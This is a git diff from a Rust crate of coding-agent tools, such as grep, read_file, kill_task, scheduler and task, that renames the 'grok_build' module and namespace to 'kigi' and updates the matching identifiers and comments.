diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/exit_plan_mode/mod.rs b/crates/codegen/kigi-tools/src/implementations/kigi/exit_plan_mode/mod.rs
similarity index 99%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/exit_plan_mode/mod.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/exit_plan_mode/mod.rs
index 64f0a29..0173abc 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/exit_plan_mode/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/exit_plan_mode/mod.rs
@@ -55,7 +55,7 @@ impl crate::types::tool_metadata::ToolMetadata for ExitPlanModeTool {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuild
+        ToolNamespace::Kigi
     }
 
     fn emitted_notifications(&self) -> &'static [&'static str] {
@@ -71,7 +71,7 @@ Use this after you have finished writing your plan to the plan file in plan mode
     fn requires_expr(&self) -> Expr<ToolRequirement> {
         // ExitPlanMode can only exist if EnterPlanMode is also registered —
         // exiting plan mode without the ability to enter would be nonsensical.
-        use crate::implementations::grok_build::enter_plan_mode::EnterPlanModeTool;
+        use crate::implementations::kigi::enter_plan_mode::EnterPlanModeTool;
         Expr::Value(ToolRequirement::Tool {
             namespace: crate::types::tool_metadata::ToolMetadata::tool_namespace(
                 &EnterPlanModeTool,
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/exit_plan_mode/types.rs b/crates/codegen/kigi-tools/src/implementations/kigi/exit_plan_mode/types.rs
similarity index 98%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/exit_plan_mode/types.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/exit_plan_mode/types.rs
index b305532..385f52f 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/exit_plan_mode/types.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/exit_plan_mode/types.rs
@@ -1,4 +1,4 @@
-//! Wire types for the `x.ai/exit_plan_mode` ACP ext_method.
+//! Wire types for the `kigi/exit_plan_mode` ACP ext_method.
 //!
 //! Shared between the shell (serializer) and the pager/desktop/VS Code
 //! (deserializer) so both sides stay in sync.
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/grep/mod.rs b/crates/codegen/kigi-tools/src/implementations/kigi/grep/mod.rs
similarity index 99%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/grep/mod.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/grep/mod.rs
index 7683942..6a20bcf 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/grep/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/grep/mod.rs
@@ -31,8 +31,8 @@ use serde::{Deserialize, Serialize};
 
 pub mod ripgrep;
 
-// Re-export the shared GrokIntegerSchema from types module
-pub use crate::types::GrokIntegerSchema;
+// Re-export the shared KigiIntegerSchema from types module
+pub use crate::types::KigiIntegerSchema;
 use ripgrep::rg_path;
 
 #[derive(Debug, Clone, Serialize, Deserialize, schemars::JsonSchema, PartialEq, Default)]
@@ -68,7 +68,7 @@ pub struct GrepSearchInput {
 
     #[schemars(
         rename = "-B",
-        with = "GrokIntegerSchema",
+        with = "KigiIntegerSchema",
         description = "Number of lines to show before each match (rg -B)."
     )]
     #[serde(rename = "-B")]
@@ -77,7 +77,7 @@ pub struct GrepSearchInput {
 
     #[schemars(
         rename = "-A",
-        with = "GrokIntegerSchema",
+        with = "KigiIntegerSchema",
         description = "Number of lines to show after each match (rg -A)."
     )]
     #[serde(rename = "-A")]
@@ -86,7 +86,7 @@ pub struct GrepSearchInput {
 
     #[schemars(
         rename = "-C",
-        with = "GrokIntegerSchema",
+        with = "KigiIntegerSchema",
         description = "Number of lines to show before and after each match (rg -C)."
     )]
     #[serde(rename = "-C")]
@@ -110,7 +110,7 @@ pub struct GrepSearchInput {
     pub r#type: Option<String>,
 
     #[schemars(
-        with = "GrokIntegerSchema",
+        with = "KigiIntegerSchema",
         description = "Limit output to first N lines/entries, equivalent to \"| head -N\". Defaults to 200 lines or 500 entries."
     )]
     #[serde(default, skip_serializing_if = "Option::is_none")]
@@ -143,7 +143,7 @@ pub struct GrepParams {
     pub max_chars_per_line: Option<usize>,
 }
 
-crate::register_resource!("grok_build", "Grep", GrepParams);
+crate::register_resource!("kigi", "Grep", GrepParams);
 
 // ───────────────────────────────────────────────────────────────────────────
 // Constants
@@ -242,7 +242,7 @@ impl crate::types::tool_metadata::ToolMetadata for GrepTool {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuild
+        ToolNamespace::Kigi
     }
 
     fn description_template(&self) -> &str {
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/grep/ripgrep.rs b/crates/codegen/kigi-tools/src/implementations/kigi/grep/ripgrep.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/grep/ripgrep.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/grep/ripgrep.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/kill_task/mod.rs b/crates/codegen/kigi-tools/src/implementations/kigi/kill_task/mod.rs
similarity index 97%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/kill_task/mod.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/kill_task/mod.rs
index 14bcd15..8b53c4f 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/kill_task/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/kill_task/mod.rs
@@ -7,9 +7,9 @@ pub mod terminal_command;
 pub use terminal_command::KillTerminalCommandTool;
 
 use crate::computer::types::KillOutcome;
-use crate::implementations::grok_build::task::TaskTool;
-use crate::implementations::grok_build::task::backend::SubagentBackendResource;
-use crate::implementations::grok_build::task::types::SubagentCancelOutcome;
+use crate::implementations::kigi::task::TaskTool;
+use crate::implementations::kigi::task::backend::SubagentBackendResource;
+use crate::implementations::kigi::task::types::SubagentCancelOutcome;
 use crate::types::requirements::{Expr, ToolRequirement};
 use crate::types::resources::Terminal;
 use crate::types::template_renderer::TemplateRenderer;
@@ -72,13 +72,13 @@ impl crate::types::tool_metadata::ToolMetadata for KillTaskTool {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuild
+        ToolNamespace::Kigi
     }
 
     fn description_template(&self) -> &str {
         // Canonical wording lives in the shared builder; `versioned_definition`
         // renders it context-aware from the finalized toolset. This static
-        // fallback mirrors the default grok-build toolset on the current OS.
+        // fallback mirrors the default kigi toolset on the current OS.
         static DESC: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
             kigi_tool_types::build_kill_task_description(&kigi_tool_types::KillTaskToolNaming {
                 monitor_tool: Some("monitor"),
@@ -120,8 +120,7 @@ impl crate::types::tool_metadata::ToolMetadata for KillTaskTool {
             id: kigi_tool_runtime::Tool::id(&TaskTool).to_string(),
             if_params: None,
         });
-        let mut arms =
-            crate::implementations::grok_build::task_output::background_bash_requires_exprs();
+        let mut arms = crate::implementations::kigi::task_output::background_bash_requires_exprs();
         arms.push(task_tool);
         Expr::Or(arms)
     }
@@ -258,10 +257,8 @@ mod tests {
         BackgroundHandle, KillOutcome as KO, TaskSnapshot, TerminalBackend, TerminalRunRequest,
         TerminalRunResult,
     };
-    use crate::implementations::grok_build::task::backend::{
-        ChannelBackend, SubagentBackendResource,
-    };
-    use crate::implementations::grok_build::task::types::{
+    use crate::implementations::kigi::task::backend::{ChannelBackend, SubagentBackendResource};
+    use crate::implementations::kigi::task::types::{
         SubagentCancelRequest, SubagentCancelTarget, SubagentEvent,
     };
     use crate::types::resources::{Resources, SharedResources};
@@ -334,7 +331,7 @@ mod tests {
     fn tool_name_and_description() {
         let tool = KillTaskTool;
         assert_eq!(kigi_tool_runtime::Tool::id(&tool).as_str(), "kill_task");
-        // The static fallback is the shared builder's default grok-build
+        // The static fallback is the shared builder's default kigi
         // rendering (monitor + task + bash present) for the current OS.
         let desc = crate::types::tool_metadata::ToolMetadata::description_template(&tool);
         assert!(desc.contains("Terminate"));
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/kill_task/terminal_command.rs b/crates/codegen/kigi-tools/src/implementations/kigi/kill_task/terminal_command.rs
similarity index 98%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/kill_task/terminal_command.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/kill_task/terminal_command.rs
index 66c3c56..d484867 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/kill_task/terminal_command.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/kill_task/terminal_command.rs
@@ -1,7 +1,7 @@
 //! Workspace-only, subagent-free variant of `kill_task` (delegates to [`KillTaskTool`]).
 
 use super::KillTaskTool;
-use crate::implementations::grok_build::task_output::background_bash_requires_exprs;
+use crate::implementations::kigi::task_output::background_bash_requires_exprs;
 use crate::types::requirements::{Expr, ToolRequirement};
 use crate::types::tool::{ToolKind, ToolNamespace};
 use kigi_tool_types::{KillTaskOutput, KillTaskToolInput};
@@ -19,7 +19,7 @@ impl crate::types::tool_metadata::ToolMetadata for KillTerminalCommandTool {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuild
+        ToolNamespace::Kigi
     }
 
     fn description_template(&self) -> &str {
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/list_dir/mod.rs b/crates/codegen/kigi-tools/src/implementations/kigi/list_dir/mod.rs
similarity index 99%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/list_dir/mod.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/list_dir/mod.rs
index 9a5c70a..c62a6b7 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/list_dir/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/list_dir/mod.rs
@@ -45,7 +45,7 @@ pub struct ListDirParams {
     /// Defaults to `DEFAULT_MAX_OUTPUT_CHARS` (10,000) to match the Python
     pub max_output_chars: Option<usize>,
 }
-crate::register_resource!("grok_build", "ListDir", ListDirParams);
+crate::register_resource!("kigi", "ListDir", ListDirParams);
 /// Exact historical invalid-directory message for `list_dir` in legacy-0.4.10.
 ///
 /// Historical fixture captured from an earlier (0.4.10) revision of this tool.
@@ -579,7 +579,7 @@ impl crate::types::tool_metadata::ToolMetadata for ListDirTool {
         ToolKind::List
     }
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuild
+        ToolNamespace::Kigi
     }
     fn description_template(&self) -> &str {
         r#"Lists files and directories in a given path.
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/list_dir/versions/legacy_0_4_10.rs b/crates/codegen/kigi-tools/src/implementations/kigi/list_dir/versions/legacy_0_4_10.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/list_dir/versions/legacy_0_4_10.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/list_dir/versions/legacy_0_4_10.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/list_dir/versions/mod.rs b/crates/codegen/kigi-tools/src/implementations/kigi/list_dir/versions/mod.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/list_dir/versions/mod.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/list_dir/versions/mod.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/lsp/mod.rs b/crates/codegen/kigi-tools/src/implementations/kigi/lsp/mod.rs
similarity index 97%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/lsp/mod.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/lsp/mod.rs
index 5a40cc0..fd9526a 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/lsp/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/lsp/mod.rs
@@ -1,7 +1,7 @@
 //! `lsp` tool - code intelligence via language servers.
 //!
 //! Implementation is in `implementations::lsp`. This module provides the
-//! `LspTool` (Tool trait impl) under the `GrokBuild` namespace.
+//! `LspTool` (Tool trait impl) under the `Kigi` namespace.
 
 use std::sync::Arc;
 
@@ -29,7 +29,7 @@ impl crate::types::tool_metadata::ToolMetadata for LspTool {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuild
+        ToolNamespace::Kigi
     }
 
     fn description_template(&self) -> &str {
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/mod.rs b/crates/codegen/kigi-tools/src/implementations/kigi/mod.rs
similarity index 97%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/mod.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/mod.rs
index 4e0eff7..ed99358 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/mod.rs
@@ -3,7 +3,7 @@
 //! Each sub-module here contains a tool that implements `NewTool` instead
 //! of the old `Tool` trait. During migration, old implementations live in
 //! `implementations/<tool>/` and new implementations live in
-//! `implementations/grok_build/<tool>/`.
+//! `implementations/kigi/<tool>/`.
 //!
 //! The [`register_all()`] function is the single entry-point for wiring up
 //! the standard toolset. It inserts shared resources (`Terminal`,
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/monitor/event.rs b/crates/codegen/kigi-tools/src/implementations/kigi/monitor/event.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/monitor/event.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/monitor/event.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/monitor/mod.rs b/crates/codegen/kigi-tools/src/implementations/kigi/monitor/mod.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/monitor/mod.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/monitor/mod.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/monitor/rate_limiter.rs b/crates/codegen/kigi-tools/src/implementations/kigi/monitor/rate_limiter.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/monitor/rate_limiter.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/monitor/rate_limiter.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/monitor/tool.rs b/crates/codegen/kigi-tools/src/implementations/kigi/monitor/tool.rs
similarity index 99%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/monitor/tool.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/monitor/tool.rs
index 5a4de99..384436f 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/monitor/tool.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/monitor/tool.rs
@@ -23,7 +23,7 @@ impl crate::types::tool_metadata::ToolMetadata for MonitorTool {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuild
+        ToolNamespace::Kigi
     }
 
     fn description_template(&self) -> &str {
@@ -313,7 +313,7 @@ pub(crate) async fn run_monitor_pipeline(
             // a terminal event as well produced a second NotificationDrain turn
             // with the same ended signal. Stdout lines above still stream as
             // events while the process is alive; the UI learns completion from
-            // `x.ai/task_completed`.
+            // `kigi/task_completed`.
 
             break;
         }
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/monitor/types.rs b/crates/codegen/kigi-tools/src/implementations/kigi/monitor/types.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/monitor/types.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/monitor/types.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/read_file/mod.rs b/crates/codegen/kigi-tools/src/implementations/kigi/read_file/mod.rs
similarity index 99%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/read_file/mod.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/read_file/mod.rs
index 4798fb4..b0ec5a2 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/read_file/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/read_file/mod.rs
@@ -22,7 +22,7 @@ use crate::types::template_renderer::TemplateRenderer;
 use crate::types::tool::{ToolKind, ToolNamespace};
 use std::sync::LazyLock;
 mod versions;
-use crate::types::schema::GrokIntegerSchema;
+use crate::types::schema::KigiIntegerSchema;
 /// Configuration for the ReadFile tool, stored as `Params<ReadFileParams>` in Resources.
 #[derive(Debug, Clone, Default, serde::Serialize, serde::Deserialize)]
 #[serde(deny_unknown_fields)]
@@ -30,7 +30,7 @@ pub struct ReadFileParams {
     #[serde(default)]
     pub cursor_rules_on_read: bool,
 }
-crate::register_resource!("grok_build", "ReadFile", ReadFileParams);
+crate::register_resource!("kigi", "ReadFile", ReadFileParams);
 /// Internal version discriminant for read_file.
 ///
 /// `read_file` has cross-cutting version divergence: gitignore enforcement
@@ -121,13 +121,13 @@ pub struct ReadFileInput {
         skip_serializing_if = "Option::is_none"
     )]
     #[schemars(
-        with = "GrokIntegerSchema",
+        with = "KigiIntegerSchema",
         description = "The line number to start reading from. Only provide if the file is too large to read at once."
     )]
     pub offset: Option<i64>,
     #[serde(default, skip_serializing_if = "Option::is_none")]
     #[schemars(
-        with = "GrokIntegerSchema",
+        with = "KigiIntegerSchema",
         description = "The number of lines to read. Only provide if the file is too large to read at once."
     )]
     pub limit: Option<usize>,
@@ -152,7 +152,7 @@ async fn cursor_rules_on_read_enabled(resources: &SharedResources) -> bool {
 /// Negatives use the reference `split('\n')` field count plus a phantom field when
 /// the file is non-empty and has no trailing `\n`. Extraction still uses
 /// `split_inclusive`, so a start that lands on the phantom-only field yields
-/// an empty window (harness-aligned; not a Grok-line clamp).
+/// an empty window (harness-aligned; not a Kigi-line clamp).
 fn resolve_read_start_line(file_content: &str, offset: Option<i64>) -> usize {
     let offset_raw = offset.unwrap_or(1);
     if offset_raw == 0 {
@@ -552,7 +552,7 @@ impl crate::types::tool_metadata::ToolMetadata for ReadFileTool {
         ToolKind::Read
     }
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuild
+        ToolNamespace::Kigi
     }
     fn description_template(&self) -> &str {
         DESCRIPTION_FULL
@@ -2315,7 +2315,7 @@ pub fn verify(req: &HttpRequest) -> Result<Claims, Error> {
         assert_eq!(extracted.content_concise, "2→");
     }
     /// Harness parity: offset=-1 on a file with no trailing `\n` resolves to the
-    /// phantom field only (start past any `split_inclusive` line), so Grok
+    /// phantom field only (start past any `split_inclusive` line), so Kigi
     /// returns empty content/raw — same as the reference phantom-only window.
     #[test]
     fn extract_file_content_lines_negative_one_no_trailing_newline_stable() {
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/read_file/versions/legacy_0_4_10.rs b/crates/codegen/kigi-tools/src/implementations/kigi/read_file/versions/legacy_0_4_10.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/read_file/versions/legacy_0_4_10.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/read_file/versions/legacy_0_4_10.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/read_file/versions/mod.rs b/crates/codegen/kigi-tools/src/implementations/kigi/read_file/versions/mod.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/read_file/versions/mod.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/read_file/versions/mod.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/scheduler/actor.rs b/crates/codegen/kigi-tools/src/implementations/kigi/scheduler/actor.rs
similarity index 99%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/scheduler/actor.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/scheduler/actor.rs
index 0522f8b..9ba8236 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/scheduler/actor.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/scheduler/actor.rs
@@ -270,7 +270,7 @@ impl SchedulerActor {
 #[cfg(test)]
 mod tests {
     use super::*;
-    use crate::implementations::grok_build::scheduler::types::{ScheduledTask, SchedulerHandle};
+    use crate::implementations::kigi::scheduler::types::{ScheduledTask, SchedulerHandle};
     use crate::notification::ToolNotification;
     use crate::types::resources::Resources;
     use std::sync::Arc;
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/scheduler/create.rs b/crates/codegen/kigi-tools/src/implementations/kigi/scheduler/create.rs
similarity index 99%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/scheduler/create.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/scheduler/create.rs
index 82b7666..81bc96c 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/scheduler/create.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/scheduler/create.rs
@@ -75,7 +75,7 @@ impl crate::types::tool_metadata::ToolMetadata for SchedulerCreateTool {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuild
+        ToolNamespace::Kigi
     }
 
     fn description_template(&self) -> &str {
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/scheduler/delete.rs b/crates/codegen/kigi-tools/src/implementations/kigi/scheduler/delete.rs
similarity index 99%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/scheduler/delete.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/scheduler/delete.rs
index ab673af..850e55a 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/scheduler/delete.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/scheduler/delete.rs
@@ -32,7 +32,7 @@ impl crate::types::tool_metadata::ToolMetadata for SchedulerDeleteTool {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuild
+        ToolNamespace::Kigi
     }
 
     fn description_template(&self) -> &str {
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/scheduler/interval.rs b/crates/codegen/kigi-tools/src/implementations/kigi/scheduler/interval.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/scheduler/interval.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/scheduler/interval.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/scheduler/list.rs b/crates/codegen/kigi-tools/src/implementations/kigi/scheduler/list.rs
similarity index 99%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/scheduler/list.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/scheduler/list.rs
index eeb1e6e..8a45d48 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/scheduler/list.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/scheduler/list.rs
@@ -35,7 +35,7 @@ impl crate::types::tool_metadata::ToolMetadata for SchedulerListTool {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuild
+        ToolNamespace::Kigi
     }
 
     fn description_template(&self) -> &str {
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/scheduler/mod.rs b/crates/codegen/kigi-tools/src/implementations/kigi/scheduler/mod.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/scheduler/mod.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/scheduler/mod.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/scheduler/types.rs b/crates/codegen/kigi-tools/src/implementations/kigi/scheduler/types.rs
similarity index 98%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/scheduler/types.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/scheduler/types.rs
index f2c7440..82b4f9d 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/scheduler/types.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/scheduler/types.rs
@@ -85,7 +85,7 @@ pub struct SchedulerState {
     pub tasks: Vec<ScheduledTask>,
 }
 
-crate::register_resource!("grok_build", "Scheduler", SchedulerState);
+crate::register_resource!("kigi", "Scheduler", SchedulerState);
 
 /// Handle for tools to communicate with the SchedulerActor.
 /// Ephemeral -- not serialized, not persisted. Inserted via `resources.insert()`.
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/search_replace/helpers.rs b/crates/codegen/kigi-tools/src/implementations/kigi/search_replace/helpers.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/search_replace/helpers.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/search_replace/helpers.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/search_replace/mod.rs b/crates/codegen/kigi-tools/src/implementations/kigi/search_replace/mod.rs
similarity index 99%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/search_replace/mod.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/search_replace/mod.rs
index c592775..7c205d3 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/search_replace/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/search_replace/mod.rs
@@ -116,7 +116,7 @@ pub struct SearchReplaceParams {
     #[serde(default = "default_true")]
     pub include_user_edit_hint: bool,
 }
-register_resource!("grok_build", "SearchReplace", SearchReplaceParams);
+register_resource!("kigi", "SearchReplace", SearchReplaceParams);
 /// SearchReplace tool — new architecture.
 ///
 /// Replaces an exact string in a file.
@@ -757,7 +757,7 @@ impl crate::types::tool_metadata::ToolMetadata for SearchReplaceTool {
         ToolKind::Edit
     }
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuild
+        ToolNamespace::Kigi
     }
     fn description_template(&self) -> &str {
         DESCRIPTION_FULL
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/search_replace/versions/legacy_0_4_10.rs b/crates/codegen/kigi-tools/src/implementations/kigi/search_replace/versions/legacy_0_4_10.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/search_replace/versions/legacy_0_4_10.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/search_replace/versions/legacy_0_4_10.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/search_replace/versions/mod.rs b/crates/codegen/kigi-tools/src/implementations/kigi/search_replace/versions/mod.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/search_replace/versions/mod.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/search_replace/versions/mod.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/storage.rs b/crates/codegen/kigi-tools/src/implementations/kigi/storage.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/storage.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/storage.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/task/backend.rs b/crates/codegen/kigi-tools/src/implementations/kigi/task/backend.rs
similarity index 99%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/task/backend.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/task/backend.rs
index e8de601..c5b300e 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/task/backend.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/task/backend.rs
@@ -99,11 +99,7 @@ impl std::fmt::Debug for SubagentBackendResource {
     }
 }
 
-register_resource!(
-    "grok_build",
-    "SubagentBackendResource",
-    SubagentBackendResource
-);
+register_resource!("kigi", "SubagentBackendResource", SubagentBackendResource);
 
 /// In-process channel-based backend for the local host shell.
 ///
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/task/mod.rs b/crates/codegen/kigi-tools/src/implementations/kigi/task/mod.rs
similarity index 99%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/task/mod.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/task/mod.rs
index 3f936f9..1c0ad73 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/task/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/task/mod.rs
@@ -47,11 +47,11 @@ impl crate::types::tool_metadata::ToolMetadata for TaskTool {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuild
+        ToolNamespace::Kigi
     }
 
     fn description_template(&self) -> &str {
-        // The Task tool description for Grok Build is *never* taken from here.
+        // The Task tool description for Kigi is *never* taken from here.
         // It is always supplied via `ToolConfig::with_description(...)` using
         // the dynamically built string from `build_task_description()` in
         // kigi-agent/src/builder.rs (HEADER + per-subagent blocks + FOOTER).
@@ -429,9 +429,7 @@ impl kigi_tool_runtime::Tool for TaskTool {
 #[cfg(test)]
 mod tests {
     use super::*;
-    use crate::implementations::grok_build::task::backend::{
-        ChannelBackend, SubagentBackendResource,
-    };
+    use crate::implementations::kigi::task::backend::{ChannelBackend, SubagentBackendResource};
     use crate::types::resources::Resources;
     use crate::types::tool_metadata::test_ctx;
     use kigi_tool_types::SubagentCapabilityMode;
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/task/types.rs b/crates/codegen/kigi-tools/src/implementations/kigi/task/types.rs
similarity index 95%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/task/types.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/task/types.rs
index ed04108..c785088 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/task/types.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/task/types.rs
@@ -97,7 +97,7 @@ pub struct SubagentRuntimeOverrides {
     /// `None` means "use role/persona default" (which itself defaults to `None`/shared workspace).
     pub isolation: Option<SubagentIsolationMode>,
     /// `/goal`-only harness override: the `agent_type` (e.g. `"cursor"`,
-    /// `"grok-build-plan"`) whose `AgentDefinition` decides the child's harness
+    /// `"kigi-plan"`) whose `AgentDefinition` decides the child's harness
     /// flavor — system prompt + toolset — applied
     /// REGARDLESS of the parent agent (so a session can pin a
     /// compat-harness verifier and vice versa).
@@ -175,7 +175,7 @@ pub fn prune_orphaned_background_task_tools(config: &mut crate::registry::types:
 
